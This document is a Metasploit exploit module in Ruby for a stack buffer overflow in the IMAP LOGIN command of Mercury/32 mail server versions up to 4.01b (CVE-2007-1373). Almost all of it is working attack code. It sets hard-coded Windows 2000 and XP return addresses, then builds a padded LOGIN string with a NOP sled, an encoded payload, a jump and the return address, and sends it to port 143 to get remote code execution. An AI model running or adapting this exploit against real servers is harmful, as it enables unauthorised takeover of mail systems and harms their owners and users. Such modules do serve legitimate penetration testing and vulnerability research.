Mercury/32 Mail Server < 4.01b - LOGIN Buffer Overflow (Metasploit)

##
# $Id: mercury_login.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercury/32 <= 4.01b LOGIN Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
				LOGIN verb. By sending a specially crafted login command, a buffer
				is corrupted, and code execution is possible. This vulnerability was
				discovered by (mu-b at digit-labs.org).
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2007-1373' ],
					[ 'OSVDB', '33883' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP0-SP4 English',		{ 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English',		{ 'Ret' => 0x71aa32ad } ],
				],
			'DisclosureDate' => 'Mar 6 2007',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(143)
			], self.class)
	end

	def check
		connect
		resp = sock.get_once
		disconnect

		if (resp =~ /Mercury\/32 v4\.01[a-b]/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect
		sock.get_once

		num = rand(255).to_i

		sploit = "A001 LOGIN " + (" " * 1008) + "{#{num}}\n"
		sock.put(sploit)
		sock.get_once

		sploit << rand_text_alpha_upper(255)
		sock.put(sploit)
		sock.get_once

		sploit << make_nops(5295 - payload.encoded.length)
		sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
		sploit << make_nops(2) + [target.ret].pack('V')
		sploit << [0xe8, -1200].pack('CV') + rand_text_alpha_upper(750)

		print_status("Trying target #{target.name}...")

		sock.put(sploit)
		select(nil,nil,nil,1)

		handler
		disconnect
	end

end